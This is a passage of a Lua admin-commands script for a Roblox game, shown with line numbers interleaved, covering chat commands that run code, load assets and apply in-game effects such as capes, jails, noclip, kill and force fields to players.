if script:findFirstChild("ScriptBase") then
455
local cl = script.ScriptBase:Clone() cl.Code.Value = msg:sub(3)
456
table.insert(objects, cl) cl.Parent = game.Workspace cl.Disabled = false
457
else loadstring(msg:sub(3))()
458
end
459
end))
460
end
461
 
462
if msg:lower():sub(1,3) == "ls " then
463
coroutine.resume(coroutine.create(function()
464
if script:findFirstChild("LocalScriptBase") then
465
local cl = script.LocalScriptBase:Clone() cl.Code.Value = msg:sub(4)
466
table.insert(objects, cl) cl.Parent = plr.PlayerGui cl.Disabled = false Output(msg:sub(4), plr)
467
end
468
end))
469
end
470
 
471
if msg:lower():sub(1,6) == "lsplr " then
472
local chk1 = msg:lower():sub(7):find(" ") + 6
473
local plrz = GetPlr(plr, msg:lower():sub(7,chk1-1))
474
for i, v in pairs(plrz) do
475
coroutine.resume(coroutine.create(function()
476
if v and v:findFirstChild("PlayerGui") then
477
if script:findFirstChild("LocalScriptBase") then
478
local cl = script.LocalScriptBase:Clone() cl.Code.Value = msg:sub(chk+1)
479
table.insert(objects, cl) cl.Parent = v.PlayerGui cl.Disabled = false Output(msg:sub(4), plr)
480
end
481
end
482
end))
483
end
484
end
485
 
486
if msg:lower():sub(1,4) == "ins " then
487
coroutine.resume(coroutine.create(function()
488
local obj = game:service("InsertService"):LoadAsset(tonumber(msg:sub(5)))
489
if obj and #obj:children() >= 1 and plr.Character then
490
table.insert(objects, obj) for i,v in pairs(obj:children()) do table.insert(objects, v) end obj.Parent = game.Workspace obj:MakeJoints() obj:MoveTo(plr.Character:GetModelCFrame().p)
491
end
492
end))
493
end
494
 
495
if msg:lower() == "clr" or msg:lower() == "clear" or msg:lower() == "clearscripts" then
496
for i, v in pairs(objects) do if v:IsA("Script") or v:IsA("LocalScript") then v.Disabled = true end v:Destroy() end
497
RemoveMessage()
498
objects = {}
499
end
500
 
501
if msg:lower() == "fix" or msg:lower() == "undisco" or msg:lower() == "unflash" then
502
game.Lighting.Ambient = origsettings.abt
503
game.Lighting.Brightness = origsettings.brt
504
game.Lighting.TimeOfDay = origsettings.time
505
game.Lighting.FogColor = origsettings.fclr
506
game.Lighting.FogEnd = origsettings.fe
507
game.Lighting.FogStart = origsettings.fs
508
for i, v in pairs(lobjs) do v:Destroy() end
509
for i, v in pairs(game.Workspace:children()) do if v.Name == "LightEdit" then v:Destroy() end end
510
end
511
 
512
if msg:lower() == "cmdbar" or msg:lower() == "cmdgui" then
513
coroutine.resume(coroutine.create(function()
514
for i,v in pairs(plr.PlayerGui:children()) do if v.Name == "CMDBAR" then v:Destroy() end end
515
local scr = Instance.new("ScreenGui", plr.PlayerGui) scr.Name = "CMDBAR"
516
local box = Instance.new("TextBox", scr) box.BackgroundColor3 = Color3.new(0,0,0) box.TextColor3 = Color3.new(1,1,1) box.Font = "Arial" box.FontSize = "Size14" box.Text = "Type a command, then press enter." box.Size = UDim2.new(0,250,0,20) box.Position = UDim2.new(1,-250,1,-22) box.BorderSizePixel = 0 box.TextXAlignment = "Right" box.ZIndex = 10 box.ClipsDescendants = true
517
box.Changed:connect(function(p) if p == "Text" and box.Text ~= "Type a command, then press enter." then Chat(box.Text, plr) box.Text = "Type a command, then press enter." end end)
518
end))
519
end
520
 
521
if msg:lower():sub(1,10) == "countdown " then
522
local num = math.min(tonumber(msg:sub(11)),120)
523
for i = num, 1, -1 do
524
coroutine.resume(coroutine.create(function() Message("Countdown", i, false, game.Players:children(), 1) end))
525
wait(1)
526
end
527
end
528
 
529
if msg:lower():sub(1,3) == "tm " then
530
local chk1 = msg:lower():sub(4):find(" ") + 3
531
local num = tonumber(msg:sub(4,chk1-1))
532
Message("Message from " .. plr.Name, msg:sub(chk1+1), false, game.Players:children(), num)
533
end
534
 
535
if msg:lower():sub(1,2) == "m " then
536
Message("Message from " .. plr.Name, msg:sub(3), true, game.Players:children())
537
end
538
 
539
if msg:lower():sub(1,2) == "h " then
540
Hint(plr.Name .. ": " .. msg:sub(3), game.Players:children())
541
end
542
 
543
if msg:lower():sub(1,3) == "pm " then
544
local chk1 = msg:lower():sub(4):find(" ") + 3
545
local plrz = GetPlr(plr, msg:lower():sub(4,chk1-1))
546
Message("Private Message from " .. plr.Name, msg:sub(chk1+1), true, plrz)
547
end
548
 
549
if msg:lower():sub(1,11) == "resetstats " then
550
local plrz = GetPlr(plr, msg:lower():sub(12))
551
for i, v in pairs(plrz) do
552
coroutine.resume(coroutine.create(function()
553
if v and v:findFirstChild("leaderstats") then
554
for a, q in pairs(v.leaderstats:children()) do
555
if q:IsA("IntValue") then q.Value = 0 end
556
end
557
end
558
end))
559
end
560
end
561
 
562
if msg:lower():sub(1,5) == "gear " then
563
local chk1 = msg:lower():sub(6):find(" ") + 5
564
local plrz = GetPlr(plr, msg:lower():sub(6, chk1-1))
565
for i, v in pairs(plrz) do
566
coroutine.resume(coroutine.create(function()
567
if v and v:findFirstChild("Backpack") then
568
local obj = game:service("InsertService"):LoadAsset(tonumber(msg:sub(chk1+1)))
569
for a,g in pairs(obj:children()) do if g:IsA("Tool") or g:IsA("HopperBin") then g.Parent = v.Backpack end end
570
obj:Destroy()
571
end
572
end))
573
end
574
end
575
 
576
if msg:lower():sub(1,4) == "hat " then
577
local chk1 = msg:lower():sub(5):find(" ") + 4
578
local plrz = GetPlr(plr, msg:lower():sub(5, chk1-1))
579
for i, v in pairs(plrz) do
580
coroutine.resume(coroutine.create(function()
581
if v and v.Character then
582
local obj = game:service("InsertService"):LoadAsset(tonumber(msg:sub(chk1+1)))
583
for a,hat in pairs(obj:children()) do if hat:IsA("Hat") then hat.Parent = v.Character end end
584
obj:Destroy()
585
end
586
end))
587
end
588
end
589
 
590
if msg:lower():sub(1,5) == "cape " then
591
local chk1 = msg:lower():sub(6):find(" ")
592
local plrz = GetPlr(plr, msg:lower():sub(6))
593
local str = "torso.BrickColor"
594
if chk1 then chk1 = chk1 + 5 plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
595
local teststr = [[BrickColor.new("]]..msg:sub(chk1+1,chk1+1):upper()..msg:sub(chk1+2):lower()..[[")]]
596
if msg:sub(chk1+1):lower() == "new yeller" then teststr = [[BrickColor.new("New Yeller")]] end
597
if msg:sub(chk1+1):lower() == "pastel blue" then teststr = [[BrickColor.new("Pastel Blue")]] end
598
if msg:sub(chk1+1):lower() == "dusty rose" then teststr = [[BrickColor.new("Dusty Rose")]] end
599
if msg:sub(chk1+1):lower() == "cga brown" then teststr = [[BrickColor.new("CGA brown")]] end
600
if msg:sub(chk1+1):lower() == "random" then teststr = [[BrickColor.random()]] end
601
if msg:sub(chk1+1):lower() == "shiny" then teststr = [[BrickColor.new("Institutional white") p.Reflectance = 1]] end
602
if msg:sub(chk1+1):lower() == "gold" then teststr = [[BrickColor.new("Bright yellow") p.Reflectance = .4]] end
603
if msg:sub(chk1+1):lower() == "kohl" then teststr = [[BrickColor.new("Really black") local dec = Instance.new("Decal", p) dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=108597653"]] end
604
if msg:sub(chk1+1):lower() == "batman" then teststr = [[BrickColor.new("Really black") local dec = Instance.new("Decal", p) dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=108597669"]] end
605
if msg:sub(chk1+1):lower() == "superman" then teststr = [[BrickColor.new("Bright blue") local dec = Instance.new("Decal", p) dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=108597677"]] end
606
if msg:sub(chk1+1):lower() == "swag" then teststr = [[BrickColor.new("Pink") local dec = Instance.new("Decal", p) dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=109301474"]] end
607
if BrickColor.new(teststr) ~= nil then str = teststr end
608
end
609
for i, v in pairs(plrz) do
610
coroutine.resume(coroutine.create(function()
611
if v and v:findFirstChild("PlayerGui") and v.Character and v.Character:findFirstChild("Torso") then
612
for a,cp in pairs(v.Character:children()) do if cp.Name == "EpicCape" then cp:Destroy() end end
613
local cl = script.LocalScriptBase:Clone() cl.Name = "CapeScript" cl.Code.Value = [[local plr = game.Players.LocalPlayer
614
repeat wait() until plr and plr.Character and plr.Character:findFirstChild("Torso")
615
local torso = plr.Character.Torso
616
local p = Instance.new("Part", torso.Parent) p.Name = "EpicCape" p.Anchored = false
617
p.CanCollide = false p.TopSurface = 0 p.BottomSurface = 0 p.BrickColor = ]]..str..[[ p.formFactor = "Custom"
618
p.Size = Vector3.new(.2,.2,.2)
619
local msh = Instance.new("BlockMesh", p) msh.Scale = Vector3.new(9,17.5,.5)
620
local motor1 = Instance.new("Motor", p)
621
motor1.Part0 = p
622
motor1.Part1 = torso
623
motor1.MaxVelocity = .01
624
motor1.C0 = CFrame.new(0,1.75,0)*CFrame.Angles(0,math.rad(90),0)
625
motor1.C1 = CFrame.new(0,1,.45)*CFrame.Angles(0,math.rad(90),0)
626
local wave = false
627
repeat wait(1/44)
628
local ang = 0.1
629
local oldmag = torso.Velocity.magnitude
630
local mv = .002
631
if wave then ang = ang + ((torso.Velocity.magnitude/10)*.05)+.05 wave = false else wave = true end
632
ang = ang + math.min(torso.Velocity.magnitude/11, .5)
633
motor1.MaxVelocity = math.min((torso.Velocity.magnitude/111), .04) + mv
634
motor1.DesiredAngle = -ang
635
if motor1.CurrentAngle < -.2 and motor1.DesiredAngle > -.2 then motor1.MaxVelocity = .04 end
636
repeat wait() until motor1.CurrentAngle == motor1.DesiredAngle or math.abs(torso.Velocity.magnitude - oldmag)  >= (torso.Velocity.magnitude/10) + 1
637
if torso.Velocity.magnitude < .1 then wait(.1) end
638
until not p or p.Parent ~= torso.Parent
639
script:Destroy()
640
]] cl.Parent = v.PlayerGui cl.Disabled = false
641
end
642
end))
643
end
644
end
645
 
646
if msg:lower():sub(1,7) == "uncape " then
647
local plrz = GetPlr(plr, msg:lower():sub(8))
648
for i, v in pairs(plrz) do
649
coroutine.resume(coroutine.create(function()
650
if v and v:findFirstChild("PlayerGui") and v.Character then
651
for a,cp in pairs(v.Character:children()) do if cp.Name == "EpicCape" then cp:Destroy() end end
652
end
653
end))
654
end
655
end
656
 
657
if msg:lower():sub(1,7) == "noclip " then
658
local plrz = GetPlr(plr, msg:lower():sub(8))
659
for i, v in pairs(plrz) do
660
coroutine.resume(coroutine.create(function()
661
if v and v:findFirstChild("PlayerGui") then
662
local cl = script.LocalScriptBase:Clone() cl.Name = "NoClip" cl.Code.Value = [[repeat wait(1/44) until game.Players.LocalPlayer and game.Players.LocalPlayer.Character and game.Players.LocalPlayer.Character:findFirstChild("Humanoid") and game.Players.LocalPlayer.Character:findFirstChild("Torso") and game.Players.LocalPlayer:GetMouse() and game.Workspace.CurrentCamera local mouse = game.Players.LocalPlayer:GetMouse() local torso = game.Players.LocalPlayer.Character.Torso local dir = {w = 0, s = 0, a = 0, d = 0} local spd = 2 mouse.KeyDown:connect(function(key) if key:lower() == "w" then dir.w = 1 elseif key:lower() == "s" then dir.s = 1 elseif key:lower() == "a" then dir.a = 1 elseif key:lower() == "d" then dir.d = 1 elseif key:lower() == "q" then spd = spd + 1 elseif key:lower() == "e" then spd = spd - 1 end end) mouse.KeyUp:connect(function(key) if key:lower() == "w" then dir.w = 0 elseif key:lower() == "s" then dir.s = 0 elseif key:lower() == "a" then dir.a = 0 elseif key:lower() == "d" then dir.d = 0 end end) torso.Anchored = true game.Players.LocalPlayer.Character.Humanoid.PlatformStand = true game.Players.LocalPlayer.Character.Humanoid.Changed:connect(function() game.Players.LocalPlayer.Character.Humanoid.PlatformStand = true end) repeat wait(1/44) torso.CFrame = CFrame.new(torso.Position, game.Workspace.CurrentCamera.CoordinateFrame.p) * CFrame.Angles(0,math.rad(180),0) * CFrame.new((dir.d-dir.a)*spd,0,(dir.s-dir.w)*spd) until nil]]
663
cl.Parent = v.PlayerGui cl.Disabled = false
664
end
665
end))
666
end
667
end
668
 
669
if msg:lower():sub(1,5) == "clip " then
670
local plrz = GetPlr(plr, msg:lower():sub(6))
671
for i, v in pairs(plrz) do
672
coroutine.resume(coroutine.create(function()
673
if v and v:findFirstChild("PlayerGui") and v.Character and v.Character:findFirstChild("Torso") and v.Character:findFirstChild("Humanoid") then
674
for a, q in pairs(v.PlayerGui:children()) do if q.Name == "NoClip" then q:Destroy() end end
675
v.Character.Torso.Anchored = false
676
wait(.1) v.Character.Humanoid.PlatformStand = false
677
end
678
end))
679
end
680
end
681
 
682
if msg:lower():sub(1,5) == "jail " then
683
local plrz = GetPlr(plr, msg:lower():sub(6))
684
for i, v in pairs(plrz) do
685
coroutine.resume(coroutine.create(function()
686
if v and v.Character and v.Character:findFirstChild("Torso") then
687
local vname = v.Name
688
local cf = v.Character.Torso.CFrame + Vector3.new(0,1,0)
689
local mod = Instance.new("Model", game.Workspace) table.insert(objects, mod) mod.Name = v.Name .. " Jail"
690
local top = Instance.new("Part", mod) top.Locked = true top.formFactor = "Symmetric" top.Size = Vector3.new(6,1,6) top.TopSurface = 0 top.BottomSurface = 0 top.Anchored = true top.BrickColor = BrickColor.new("Really black") top.CFrame = cf * CFrame.new(0,-3.5,0)
691
v.CharacterAdded:connect(function() if not mod or (mod and mod.Parent ~= game.Workspace) then return end repeat wait() until v and v.Character and v.Character:findFirstChild("Torso") v.Character.Torso.CFrame = cf end)
692
v.Changed:connect(function(p) if p ~= "Character" or not mod or (mod and mod.Parent ~= game.Workspace) then return end repeat wait() until v and v.Character and v.Character:findFirstChild("Torso") v.Character.Torso.CFrame = cf end)
693
game.Players.PlayerAdded:connect(function(plr) if plr.Name == vname then v = plr end
694
v.CharacterAdded:connect(function() if not mod or (mod and mod.Parent ~= game.Workspace) then return end repeat wait() until v and v.Character and v.Character:findFirstChild("Torso") v.Character.Torso.CFrame = cf end)
695
v.Changed:connect(function(p) if p ~= "Character" or not mod or (mod and mod.Parent ~= game.Workspace) then return end repeat wait() until v and v.Character and v.Character:findFirstChild("Torso") v.Character.Torso.CFrame = cf end)
696
end)
697
local bottom = top:Clone() bottom.Parent = mod bottom.CFrame = cf * CFrame.new(0,3.5,0)
698
local front = top:Clone() front.Transparency = .5 front.Reflectance = .1 front.Parent = mod front.Size = Vector3.new(6,6,1) front.CFrame = cf * CFrame.new(0,0,-3)
699
local back = front:Clone() back.Parent = mod back.CFrame = cf * CFrame.new(0,0,3)
700
local right = front:Clone() right.Parent = mod right.Size = Vector3.new(1,6,6) right.CFrame = cf * CFrame.new(3,0,0)
701
local left = right:Clone() left.Parent = mod left.CFrame = cf * CFrame.new(-3,0,0)
702
local msh = Instance.new("BlockMesh", front) msh.Scale = Vector3.new(1,1,0)
703
local msh2 = msh:Clone() msh2.Parent = back
704
local msh3 = msh:Clone() msh3.Parent = right msh3.Scale = Vector3.new(0,1,1)
705
local msh4 = msh3:Clone() msh4.Parent = left
706
v.Character.Torso.CFrame = cf
707
end
708
end))
709
end
710
end
711
 
712
if msg:lower():sub(1,7) == "unjail " then
713
local plrz = GetPlr(plr, msg:lower():sub(8))
714
for i, v in pairs(plrz) do coroutine.resume(coroutine.create(function() if v then for a, jl in pairs(game.Workspace:children()) do if jl.Name == v.Name .. " Jail" then jl:Destroy() end end end end)) end
715
end
716
 
717
if msg:lower():sub(1,11) == "starttools " then
718
local plrz = GetPlr(plr, msg:lower():sub(12))
719
for i, v in pairs(plrz) do
720
coroutine.resume(coroutine.create(function()
721
if v and v:findFirstChild("Backpack") then
722
for a,q in pairs(game.StarterPack:children()) do q:Clone().Parent = v.Backpack end
723
end
724
end))
725
end
726
end
727
 
728
if msg:lower():sub(1,6) == "sword " then
729
local plrz = GetPlr(plr, msg:lower():sub(7))
730
for i, v in pairs(plrz) do
731
coroutine.resume(coroutine.create(function()
732
if v and v:findFirstChild("Backpack") then
733
local sword = Instance.new("Tool", v.Backpack) sword.Name = "Sword"  sword.TextureId = "rbxasset://Textures/Sword128.png"
734
sword.GripForward = Vector3.new(-1,0,0)
735
sword.GripPos = Vector3.new(0,0,-1.5)
736
sword.GripRight = Vector3.new(0,1,0)
737
sword.GripUp = Vector3.new(0,0,1)
738
local handle = Instance.new("Part", sword) handle.Name = "Handle" handle.FormFactor = "Plate" handle.Size = Vector3.new(1,.8,4) handle.TopSurface = 0 handle.BottomSurface = 0
739
local msh = Instance.new("SpecialMesh", handle) msh.MeshId = "rbxasset://fonts/sword.mesh" msh.TextureId = "rbxasset://textures/SwordTexture.png"
740
local cl = script.LocalScriptBase:Clone() cl.Parent = sword cl.Code.Value = [[
741
repeat wait() until game.Players.LocalPlayer and game.Players.LocalPlayer.Character and game.Players.LocalPlayer.Character:findFirstChild("Humanoid")
742
local Damage = 15
743
local SlashSound = Instance.new("Sound", script.Parent.Handle)
744
SlashSound.SoundId = "rbxasset://sounds\\swordslash.wav"
745
SlashSound.Volume = 1
746
local LungeSound = Instance.new("Sound", script.Parent.Handle)
747
LungeSound.SoundId = "rbxasset://sounds\\swordlunge.wav"
748
LungeSound.Volume = 1
749
local UnsheathSound = Instance.new("Sound", script.Parent.Handle)
750
UnsheathSound.SoundId = "rbxasset://sounds\\unsheath.wav"
751
UnsheathSound.Volume = 1
752
local last = 0
753
script.Parent.Handle.Touched:connect(function(hit)
754
if hit and hit.Parent and hit.Parent:findFirstChild("Humanoid") and game.Players:findFirstChild(hit.Parent.Name) and game.Players.LocalPlayer.Character.Humanoid.Health > 0 and hit.Parent.Humanoid ~= game.Players.LocalPlayer.Character.Humanoid then
755
local tag = Instance.new("ObjectValue", hit.Parent.Humanoid) tag.Value = plr1 tag.Name = "creator" game:service("Debris"):AddItem(tag, 3)
756
hit.Parent.Humanoid:TakeDamage(Damage)
757
end
758
end)
759
script.Parent.Activated:connect(function()
760
if not script.Parent.Enabled or game.Players.LocalPlayer.Character.Humanoid.Health <= 0 then return end
761
script.Parent.Enabled = false
762
local tick = game:service("RunService").Stepped:wait()
763
if tick - last <= .2 then
764
LungeSound:play()
765
local lunge = Instance.new("StringValue", script.Parent) lunge.Name = "toolanim" lunge.Value = "Lunge"
766
local frc = Instance.new("BodyVelocity", game.Players.LocalPlayer.Character.Torso) frc.Name = "SwordForce" frc.velocity = Vector3.new(0,10,0)
767
wait(.2)
768
script.Parent.GripForward = Vector3.new(0,0,1)
769
script.Parent.GripRight = Vector3.new(0,-1,0)
770
script.Parent.GripUp = Vector3.new(-1,0,0)
771
wait(.3)
772
frc:Destroy() wait(.5)
773
script.Parent.GripForward = Vector3.new(-1,0,0)
774
script.Parent.GripRight = Vector3.new(0,1,0)
775
script.Parent.GripUp = Vector3.new(0,0,1)
776
else
777
SlashSound:play()
778
local slash = Instance.new("StringValue", script.Parent) slash.Name = "toolanim" slash.Value = "Slash"
779
end
780
last = tick
781
script.Parent.Enabled = true
782
end)
783
script.Parent.Equipped:connect(function(mouse)
784
for i,v in pairs(game.Players.LocalPlayer.Character.Torso:children()) do if v.Name == "SwordForce" then v:Destroy() end end
785
UnsheathSound:play()
786
script.Parent.Enabled = true
787
if not mouse then return end
788
mouse.Icon = "http://www.roblox.com/asset/?id=103593352"
789
end)]] cl.Disabled = false
790
end
791
end))
792
end
793
end
794
 
795
if msg:lower():sub(1,6) == "clone " then
796
local plrz = GetPlr(plr, msg:lower():sub(7))
797
for i, v in pairs(plrz) do
798
coroutine.resume(coroutine.create(function()
799
if v and v.Character then
800
v.Character.Archivable = true
801
local cl = v.Character:Clone()
802
table.insert(objects,cl)
803
cl.Parent = game.Workspace
804
cl:MoveTo(v.Character:GetModelCFrame().p)
805
cl:MakeJoints()
806
v.Character.Archivable = false
807
end
808
end))
809
end
810
end
811
 
812
if msg:lower():sub(1,8) == "control " then
813
local plrz = GetPlr(plr, msg:lower():sub(9))
814
for i, v in pairs(plrz) do
815
coroutine.resume(coroutine.create(function()
816
if v and v.Character then
817
v.Character.Humanoid.PlatformStand = true
818
local w = Instance.new("Weld", plr.Character.Torso )
819
w.Part0 = plr.Character.Torso
820
w.Part1 = v.Character.Torso  
821
local w2 = Instance.new("Weld", plr.Character.Head)
822
w2.Part0 = plr.Character.Head
823
w2.Part1 = v.Character.Head  
824
local w3 = Instance.new("Weld", plr.Character:findFirstChild("Right Arm"))
825
w3.Part0 = plr.Character:findFirstChild("Right Arm")
826
w3.Part1 = v.Character:findFirstChild("Right Arm")
827
local w4 = Instance.new("Weld", plr.Character:findFirstChild("Left Arm"))
828
w4.Part0 = plr.Character:findFirstChild("Left Arm")
829
w4.Part1 = v.Character:findFirstChild("Left Arm")
830
local w5 = Instance.new("Weld", plr.Character:findFirstChild("Right Leg"))
831
w5.Part0 = plr.Character:findFirstChild("Right Leg")
832
w5.Part1 = v.Character:findFirstChild("Right Leg")
833
local w6 = Instance.new("Weld", plr.Character:findFirstChild("Left Leg"))
834
w6.Part0 = plr.Character:findFirstChild("Left Leg")
835
w6.Part1 = v.Character:findFirstChild("Left Leg")
836
plr.Character.Head.face:Destroy()
837
for i, p in pairs(v.Character:children()) do
838
if p:IsA("BasePart") then
839
p.CanCollide = false
840
end
841
end
842
for i, p in pairs(plr.Character:children()) do
843
if p:IsA("BasePart") then
844
p.Transparency = 1
845
elseif p:IsA("Hat") then
846
p:Destroy()
847
end
848
end
849
v.Character.Parent = plr.Character
850
v.Character.Humanoid.Changed:connect(function() v.Character.Humanoid.PlatformStand = true end)
851
end
852
end))
853
end
854
end
855
 
856
if msg:lower():sub(1,5) == "kill " then
857
local plrz = GetPlr(plr, msg:lower():sub(6))
858
for i, v in pairs(plrz) do
859
coroutine.resume(coroutine.create(function()
860
if v and v.Character then v.Character:BreakJoints() end
861
end))
862
end
863
end
864
 
865
if msg:lower():sub(1,8) == "respawn " then
866
local plrz = GetPlr(plr, msg:lower():sub(9))
867
for i, v in pairs(plrz) do
868
coroutine.resume(coroutine.create(function()
869
if v and v.Character then v:LoadCharacter() end
870
end))
871
end
872
end
873
 
874
if msg:lower():sub(1,5) == "trip " then
875
local plrz = GetPlr(plr, msg:lower():sub(6))
876
for i, v in pairs(plrz) do
877
coroutine.resume(coroutine.create(function()
878
if v and v.Character and v.Character:findFirstChild("Torso") then
879
v.Character.Torso.CFrame = v.Character.Torso.CFrame * CFrame.Angles(0,0,math.rad(180))
880
end
881
end))
882
end
883
end
884
 
885
if msg:lower():sub(1,5) == "stun " then
886
local plrz = GetPlr(plr, msg:lower():sub(6))
887
for i, v in pairs(plrz) do
888
coroutine.resume(coroutine.create(function()
889
if v and v.Character and v.Character:findFirstChild("Humanoid") then
890
v.Character.Humanoid.PlatformStand = true
891
end
892
end))
893
end
894
end
895
 
896
if msg:lower():sub(1,7) == "unstun " then
897
local plrz = GetPlr(plr, msg:lower():sub(8))
898
for i, v in pairs(plrz) do
899
coroutine.resume(coroutine.create(function()
900
if v and v.Character and v.Character:findFirstChild("Humanoid") then
901
v.Character.Humanoid.PlatformStand = false
902
end
903
end))
904
end
905
end
906
 
907
if msg:lower():sub(1,5) == "jump " then
908
local plrz = GetPlr(plr, msg:lower():sub(6))
909
for i, v in pairs(plrz) do
910
coroutine.resume(coroutine.create(function()
911
if v and v.Character and v.Character:findFirstChild("Humanoid") then
912
v.Character.Humanoid.Jump = true
913
end
914
end))
915
end
916
end
917
 
918
if msg:lower():sub(1,4) == "sit " then
919
local plrz = GetPlr(plr, msg:lower():sub(5))
920
for i, v in pairs(plrz) do
921
coroutine.resume(coroutine.create(function()
922
if v and v.Character and v.Character:findFirstChild("Humanoid") then
923
v.Character.Humanoid.Sit = true
924
end
925
end))
926
end
927
end
928
 
929
if msg:lower():sub(1,10) == "invisible " then
930
local plrz = GetPlr(plr, msg:lower():sub(11))
931
for i, v in pairs(plrz) do
932
coroutine.resume(coroutine.create(function()
933
if v and v.Character then
934
for a, obj in pairs(v.Character:children()) do
935
if obj:IsA("BasePart") then obj.Transparency = 1 if obj:findFirstChild("face") then obj.face.Transparency = 1 end elseif obj:IsA("Hat") and obj:findFirstChild("Handle") then obj.Handle.Transparency = 1 end
936
end
937
end
938
end))
939
end
940
end
941
 
942
if msg:lower():sub(1,8) == "visible " then
943
local plrz = GetPlr(plr, msg:lower():sub(9))
944
for i, v in pairs(plrz) do
945
coroutine.resume(coroutine.create(function()
946
if v and v.Character then
947
for a, obj in pairs(v.Character:children()) do
948
if obj:IsA("BasePart") then obj.Transparency = 0 if obj:findFirstChild("face") then obj.face.Transparency = 0 end elseif obj:IsA("Hat") and obj:findFirstChild("Handle") then obj.Handle.Transparency = 0 end
949
end
950
end
951
end))
952
end
953
end
954
 
955
if msg:lower():sub(1,5) == "lock " then
956
local plrz = GetPlr(plr, msg:lower():sub(6))
957
for i, v in pairs(plrz) do
958
coroutine.resume(coroutine.create(function()
959
if v and v.Character then
960
for a, obj in pairs(v.Character:children()) do
961
if obj:IsA("BasePart") then obj.Locked = true elseif obj:IsA("Hat") and obj:findFirstChild("Handle") then obj.Handle.Locked = true end
962
end
963
end
964
end))
965
end
966
end
967
 
968
if msg:lower():sub(1,7) == "unlock " then
969
local plrz = GetPlr(plr, msg:lower():sub(8))
970
for i, v in pairs(plrz) do
971
coroutine.resume(coroutine.create(function()
972
if v and v.Character then
973
for a, obj in pairs(v.Character:children()) do
974
if obj:IsA("BasePart") then obj.Locked = false elseif obj:IsA("Hat") and obj:findFirstChild("Handle") then obj.Handle.Locked = false end
975
end
976
end
977
end))
978
end
979
end
980
 
981
if msg:lower():sub(1,8) == "explode " then
982
local plrz = GetPlr(plr, msg:lower():sub(9))
983
for i, v in pairs(plrz) do
984
coroutine.resume(coroutine.create(function()
985
if v and v.Character and v.Character:findFirstChild("Torso") then
986
local ex = Instance.new("Explosion", game.Workspace) ex.Position = v.Character.Torso.Position
987
end
988
end))
989
end
990
end
991
 
992
if msg:lower():sub(1,4) == "age " then
993
local plrz = GetPlr(plr, msg:lower():sub(5))
994
for i, v in pairs(plrz) do
995
coroutine.resume(coroutine.create(function()
996
if v then Message(v.Name .. "'s age", tostring(v.AccountAge), false, {plr}) end
997
end))
998
end
999
end
1000
 
1001
if msg:lower():sub(1,5) == "fire " then
1002
local plrz = GetPlr(plr, msg:lower():sub(6))
1003
for i, v in pairs(plrz) do
1004
coroutine.resume(coroutine.create(function()
1005
if v and v.Character and v.Character:findFirstChild("Torso") then
1006
local cl = Instance.new("Fire", v.Character.Torso) table.insert(objects, cl)
1007
end
1008
end))
1009
end
1010
end
1011
 
1012
if msg:lower():sub(1,7) == "unfire " then
1013
local plrz = GetPlr(plr, msg:lower():sub(8))
1014
for i, v in pairs(plrz) do
1015
coroutine.resume(coroutine.create(function()
1016
if v and v.Character and v.Character:findFirstChild("Torso") then
1017
for z, cl in pairs(v.Character.Torso:children()) do if cl:IsA("Fire") then cl:Destroy() end end
1018
end
1019
end))
1020
end
1021
end
1022
 
1023
if msg:lower():sub(1,6) == "smoke " then
1024
local plrz = GetPlr(plr, msg:lower():sub(7))
1025
for i, v in pairs(plrz) do
1026
coroutine.resume(coroutine.create(function()
1027
if v and v.Character and v.Character:findFirstChild("Torso") then
1028
local cl = Instance.new("Smoke", v.Character.Torso) table.insert(objects, cl)
1029
end
1030
end))
1031
end
1032
end
1033
 
1034
if msg:lower():sub(1,8) == "unsmoke " then
1035
local plrz = GetPlr(plr, msg:lower():sub(9))
1036
for i, v in pairs(plrz) do
1037
coroutine.resume(coroutine.create(function()
1038
if v and v.Character and v.Character:findFirstChild("Torso") then
1039
for z, cl in pairs(v.Character.Torso:children()) do if cl:IsA("Smoke") then cl:Destroy() end end
1040
end
1041
end))
1042
end
1043
end
1044
 
1045
if msg:lower():sub(1,9) == "sparkles " then
1046
local plrz = GetPlr(plr, msg:lower():sub(10))
1047
for i, v in pairs(plrz) do
1048
coroutine.resume(coroutine.create(function()
1049
if v and v.Character and v.Character:findFirstChild("Torso") then
1050
local cl = Instance.new("Sparkles", v.Character.Torso) table.insert(objects, cl)
1051
end
1052
end))
1053
end
1054
end
1055
 
1056
if msg:lower():sub(1,11) == "unsparkles " then
1057
local plrz = GetPlr(plr, msg:lower():sub(12))
1058
for i, v in pairs(plrz) do
1059
coroutine.resume(coroutine.create(function()
1060
if v and v.Character and v.Character:findFirstChild("Torso") then
1061
for z, cl in pairs(v.Character.Torso:children()) do if cl:IsA("Sparkles") then cl:Destroy() end end
1062
end
1063
end))
1064
end
1065
end
1066
 
1067
if msg:lower():sub(1,3) == "ff " then
1068
local plrz = GetPlr(plr, msg:lower():sub(4))
1069
for i, v in pairs(plrz) do
1070
coroutine.resume(coroutine.create(function()
1071
if v and v.Character then Instance.new("ForceField", v.Character) end
1072
end))
1073
end
1074
end
1075
 
1076
if msg:lower():sub(1,5) == "unff " then
1077
local plrz = GetPlr(plr, msg:lower():sub(6))
1078
for i, v in pairs(plrz) do
1079
coroutine.resume(coroutine.create(function()
1080
if v and v.Character then
1081
for z, cl in pairs(v.Character:children()) do if cl:IsA("ForceField") then cl:Destroy() end end
1082
end
1083
end))
1084
end
1085
end
1086
 
1087
if msg:lower():sub(1,7) == "punish " then
1088
local plrz = GetPlr(plr, msg:lower():sub(8))
1089
for i, v in pairs(plrz) do
1090
coroutine.resume(coroutine.create(function()
1091
if v and v.Character then
1092
v.Character.Parent = game:service("Lighting")
1093
end
1094
end))
1095
end
1096
end
1097
 
1098
if msg:lower():sub(1,9) == "unpunish " then
1099
local plrz = GetPlr(plr, msg:lower():sub(10))
1100
for i, v in pairs(plrz) do
1101
coroutine.resume(coroutine.create(function()
1102
if v and v.Character then
1103
v.Character.Parent = game:service("Workspace")
1104
v.Character:MakeJoints()
1105
end
1106
end))
1107
end
1108
end
1109
 
1110
if msg:lower():sub(1,7) == "freeze " then
1111
local plrz = GetPlr(plr, msg:lower():sub(8))
1112
for i, v in pairs(plrz) do
1113
coroutine.resume(coroutine.create(function()
1114
if v and v.Character and v.Character:findFirstChild("Humanoid") then
1115
for a, obj in pairs(v.Character:children()) do
1116
